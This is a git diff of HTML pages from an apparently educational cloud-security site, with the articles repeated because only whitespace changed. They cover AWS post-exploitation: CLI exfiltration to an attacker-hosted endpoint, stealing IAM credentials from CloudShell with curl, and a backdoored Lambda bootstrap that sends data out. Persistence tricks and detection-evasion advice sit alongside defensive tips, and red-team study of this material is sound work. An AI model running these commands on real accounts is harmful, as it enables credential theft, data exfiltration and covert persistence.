In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.

As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the --endpoint-url flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.

$ aws s3 ls --endpoint-url https://attacker.s3.store
 2023-07-13 02:06:30 criminalbucket
 2023-07-13 22:01:36 exfiltrated-data
-

Tip

As mentioned by Jesse Lepich, a layer 7 firewall like the AWS Network Firewall can be used to limit access to non-allowlisted domains.

\ No newline at end of file diff --git a/aws/post_exploitation/get_iam_creds_from_console_session/index.html b/aws/post_exploitation/get_iam_creds_from_console_session/index.html index b79b590c3..e1c8a6d35 100644 --- a/aws/post_exploitation/get_iam_creds_from_console_session/index.html +++ b/aws/post_exploitation/get_iam_creds_from_console_session/index.html @@ -7,10 +7,10 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Get IAM Credentials from a Console Session

When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the .aws folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).

Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.

To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.

[user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Get IAM Credentials from a Console Session

When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the .aws folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).

Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.

To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.

[user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
 
 [user@cloudshell]$ curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
 

Alternatively, you can run the following command, which returns credentials with a short TTL (roughly 15m).

[user@cloudshell]$ aws configure export-credentials --format env
-
\ No newline at end of file diff --git a/aws/post_exploitation/iam_persistence/index.html b/aws/post_exploitation/iam_persistence/index.html index a9e7f0845..43801dbc5 100644 --- a/aws/post_exploitation/iam_persistence/index.html +++ b/aws/post_exploitation/iam_persistence/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

AWS IAM Persistence Methods

After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.

More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.

IAM User Access Keys

AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.

Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.

Tip

Aside from the opportunity to maintain persistence in an AWS environment, iam:CreateAccessKey can also potentially be used for lateral movement to create credentials for other users.

IAM User Login Profile

AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the iam:CreateLoginProfile permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.

IAM Role Assume Role Policy

In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.

An adversary could invoke iam:UpdateAssumeRolePolicy, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.

{
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

AWS IAM Persistence Methods

After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.

More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.

IAM User Access Keys

AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.

Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.

Tip

Aside from the opportunity to maintain persistence in an AWS environment, iam:CreateAccessKey can also potentially be used for lateral movement to create credentials for other users.

IAM User Login Profile

AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the iam:CreateLoginProfile permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.

IAM Role Assume Role Policy

In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.

An adversary could invoke iam:UpdateAssumeRolePolicy, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.

{
   "Version": "2012-10-17",
   "Statement": {
     "Effect": "Allow",
@@ -15,6 +15,6 @@
     "Resource": "arn:aws:iam::<attacker_aws_account_id>:role/secret_admin"
   }
 }
-

Tip

For the defensive side; it is a good idea to regularly audit role trust policies that establish trust with AWS accounts outside of your organization. In most cases, this will likely identify SaaS and vendor AWS accounts, however it may turn up something much more nefarious.

Survive Access Key Deletion with sts:GetFederationToken

EC2 Instance Persistence

EC2 instances which have an IAM role attached to them will have their own instance metadata service (IMDS) available. If an adversary has code execution on the EC2 instance, or is able to abuse server side request forgery in an application running on the host, they can steal IAM credentials from the IMDS.

By maintaining access to an EC2 instance which has a role with the permissions you want, this can be an effective and quiet method to keep access to an AWS environment. No additional API calls are required to use those credentials.

Lambda Persistence

User Data Script Persistence

\ No newline at end of file diff --git a/aws/post_exploitation/intercept_ssm_communications/index.html b/aws/post_exploitation/intercept_ssm_communications/index.html index 8f70ad3fd..89b9334dc 100644 --- a/aws/post_exploitation/intercept_ssm_communications/index.html +++ b/aws/post_exploitation/intercept_ssm_communications/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Intercept SSM Communications

The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.

For an in depth explanation of how this works, please see the original research.

Warning

The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.

Intercept EC2 Messages

The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.

By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a "Success" response.

Using the ssm-send-command-interception.py PoC:

Intercepting Commands

Modified Output

Intercept SSM Sessions

Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.

Using the ssm-session-interception.py PoC:

Session Interception

Article by Nick Frichette

Intercept SSM Communications

The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.

For an in depth explanation of how this works, please see the original research.

Warning

The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.

Intercept EC2 Messages

The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.

By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a "Success" response.

Using the ssm-send-command-interception.py PoC:

Intercepting Commands

Modified Output

Intercept SSM Sessions

Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.

Using the ssm-session-interception.py PoC:

Session Interception

\ No newline at end of file diff --git a/aws/post_exploitation/lambda_persistence/index.html b/aws/post_exploitation/lambda_persistence/index.html index 99d3cf50f..fd487276c 100644 --- a/aws/post_exploitation/lambda_persistence/index.html +++ b/aws/post_exploitation/lambda_persistence/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Lambda Persistence

Warning

Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.

After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.

Note

See the "Creating a Listener" section at the bottom of this page for how to setup a listener for exfiltrated data.

Python Runtime

After identifying that your target is using the Python runtime, you'll need a copy of the /var/runtime/bootstrap.py file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

Python - Backdoored Lambda Bootstrap File

Note

You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!

With the bootstrap.py file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down.

The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

import urllib3
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Lambda Persistence

Warning

Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.

After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.

Note

See the "Creating a Listener" section at the bottom of this page for how to setup a listener for exfiltrated data.

Python Runtime

After identifying that your target is using the Python runtime, you'll need a copy of the /var/runtime/bootstrap.py file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

Python - Backdoored Lambda Bootstrap File

Note

You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!

With the bootstrap.py file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down.

The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

import urllib3
 import os
 http = urllib3.PoolManager()
 
@@ -51,6 +51,6 @@
     access_log off;
     return 200;
 }
-

After restarting Nginx, all logs received via post requests should be stored in /var/log/nginx/postdata.log.

\ No newline at end of file diff --git a/aws/post_exploitation/role-chain-juggling/index.html b/aws/post_exploitation/role-chain-juggling/index.html index a0919d35f..9d2de4abc 100644 --- a/aws/post_exploitation/role-chain-juggling/index.html +++ b/aws/post_exploitation/role-chain-juggling/index.html @@ -7,12 +7,12 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Role Chain Juggling

When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.

Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.

Through this, you can extend your access by chaining assume-role calls.

Note

You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.

To automate this work Daniel Heinsen developed a tool to keep the juggling going.

user@host:$ ./aws_role_juggler.py -h
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Role Chain Juggling

When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.

Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.

Through this, you can extend your access by chaining assume-role calls.

Note

You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.

To automate this work Daniel Heinsen developed a tool to keep the juggling going.

user@host:$ ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
 
 optional arguments:
   -h, --help            show this help message and exit
   -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
-
\ No newline at end of file diff --git a/aws/post_exploitation/run_shell_commands_on_ec2/index.html b/aws/post_exploitation/run_shell_commands_on_ec2/index.html index 35b515503..f5f8b9c67 100644 --- a/aws/post_exploitation/run_shell_commands_on_ec2/index.html +++ b/aws/post_exploitation/run_shell_commands_on_ec2/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Run Shell Commands on EC2 with Send Command or Session Manager

After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.

Tip

By default, the commands that are issued are not logged to CloudTrail. Specifically they are "HIDDEN_DUE_TO_SECURITY_REASONS". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.

Send Command

You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:

aws ssm send-command \
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by Nick Frichette

Run Shell Commands on EC2 with Send Command or Session Manager

After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.

Tip

By default, the commands that are issued are not logged to CloudTrail. Specifically they are "HIDDEN_DUE_TO_SECURITY_REASONS". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.

Send Command

You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:

aws ssm send-command \
 --instance-ids "i-00000000000000000" \
 --document-name "AWS-RunShellScript"
 --parameters commands="*shell commands here*"
@@ -15,6 +15,6 @@
 --command-id "command_id_guid" \
 --details
 

Note

The --details is required to view the output of the command.

The output of the command will be in the Output section under CommandPlugins.

Session Manager

If instead you'd like a more interactive shell experience, you can make use of Session Manager. Session Manager allows you to have an SSH-esc experience, making it easy to interact with EC2 instances.

To begin, you will first need to install the SSM Session Manager Plugin. The specifics of this will depend on what operating system you are using.

With that installed, you can then run the following command to start an interactive session.

aws ssm start-session --target instance-id
-
\ No newline at end of file diff --git a/aws/post_exploitation/s3_acl_persistence/index.html b/aws/post_exploitation/s3_acl_persistence/index.html index fc5c05382..f072074f8 100644 --- a/aws/post_exploitation/s3_acl_persistence/index.html +++ b/aws/post_exploitation/s3_acl_persistence/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Wes Ladd

S3 File ACL Persistence

Requirements

For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.

Purpose

When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).

Background on Sensitive S3 Use Cases

Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.

Technique

S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.

Key Considerations

  1. Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.
  2. ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.

Article by Wes Ladd

S3 File ACL Persistence

Requirements

For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.

Purpose

When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).

Background on Sensitive S3 Use Cases

Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.

Technique

S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.

Key Considerations

  1. Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.
  2. ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.
\ No newline at end of file diff --git a/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html b/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html index d2c940862..110c3320b 100644 --- a/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html +++ b/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/index.html @@ -7,10 +7,10 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

Survive Access Key Deletion with sts:GetFederationToken

After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from sts:GetFederationToken, even if the original access keys have been deleted.

sts:GetFederationToken is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the documentation:

  • You cannot call any IAM operations using the AWS CLI or the AWS API.
  • You cannot call any AWS STS operations except sts:GetCallerIdentity.

However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.

Tip

If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the ConsoleLogin CloudTrail event. If at all possible, only use the IAM credentials generated from sts:GetFederationToken in the CLI.

To create temporary IAM credentials using sts:GetFederationToken, you can use the following CLI command:

aws sts get-federation-token \
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}      

Article by Nick Frichette

Survive Access Key Deletion with sts:GetFederationToken

After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from sts:GetFederationToken, even if the original access keys have been deleted.

sts:GetFederationToken is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the documentation:

  • You cannot call any IAM operations using the AWS CLI or the AWS API.
  • You cannot call any AWS STS operations except sts:GetCallerIdentity.

However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.

Tip

If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the ConsoleLogin CloudTrail event. If at all possible, only use the IAM credentials generated from sts:GetFederationToken in the CLI.

To create temporary IAM credentials using sts:GetFederationToken, you can use the following CLI command:

aws sts get-federation-token \
 --name your_choice \
 --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \
 --duration-seconds 129600
-

Warning

While all 3 parameters are configurable by the attacker, keep in mind the potential for detection based on this. For instance, in a highly monitored environment, would the use of the AdministratorAccess policy raise suspicions? What about an extremely long lived session?

It is important to note that the provided policy-arns will use the intersection of the permissions that were passed. Meaning that if the user has no permissions, passing the AdministratorAccess policy will not provide it admin access to the account. This can, however, be helpful if you don't know what level of privilege you've compromised. By passing a highly privileged policy, you will ensure you will get the full access afforded to the identity.

Tip

In addition to passing a policy ARN, you can also pass an inline policy, which may be helpful to avoid suspicious use of certain policies.

For defenders, in addition to deactivating or deleting IAM user access keys, it may be worthwhile to attach a "DenyAll" policy to the compromised user. This would ensure that even if an adversary was using this technique, they would not be able to use their generated credentials.

It is also advisable to determine how common the use of sts:GetFederationToken is in your environments and alert on its use, or implement a Service Control Policy to prevent it.

\ No newline at end of file diff --git a/aws/post_exploitation/user_data_script_persistence/index.html b/aws/post_exploitation/user_data_script_persistence/index.html index 4a3906cf9..77eafe838 100644 --- a/aws/post_exploitation/user_data_script_persistence/index.html +++ b/aws/post_exploitation/user_data_script_persistence/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Nick Frichette

User Data Script Persistence

When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.

Modify the User Data Script

If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.

The steps to modify user data scripts can be found here.

Modify a Resource Called by the Script

In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.

Article by Nick Frichette

User Data Script Persistence

When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.

Modify the User Data Script

If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.

The steps to modify user data scripts can be found here.

Modify a Resource Called by the Script

In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.

\ No newline at end of file diff --git a/azure/abusing-managed-identities/index.html b/azure/abusing-managed-identities/index.html index 49f4f4a8d..8d2758ccd 100644 --- a/azure/abusing-managed-identities/index.html +++ b/azure/abusing-managed-identities/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by andrei8055

Abusing Managed Identities

Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.

Compute Resource --> Managed Identity --> Assigned Role(s) --> Storage Account --> Container
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by andrei8055

Abusing Managed Identities

Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.

Compute Resource --> Managed Identity --> Assigned Role(s) --> Storage Account --> Container
 

A Managed Identity can be a System or User identity. A System identity is bound to the resource, but a User identity is independent.

Setup Azure Managed Identity

First we enable the managed identity for the web application:

Azure Managed Identities)

Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).

Azure Managed Identities

Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates “downwards” in the Azure architecture layer.

The default Owner, owning the resource, and Contributor, read/write content of the resource, roles have the most permissions.

Azure Managed Identities

Under each role, we can see in details what permissions are included. Azure also allows the user to configure custom roles in the case that the built-in ones are not suitable for your needs.

Azure Managed Identities

Similarly, to see who has permissions granted for a given resource, we can check under the Access Control (IAM) -> View access to this resource.

Azure Managed Identities

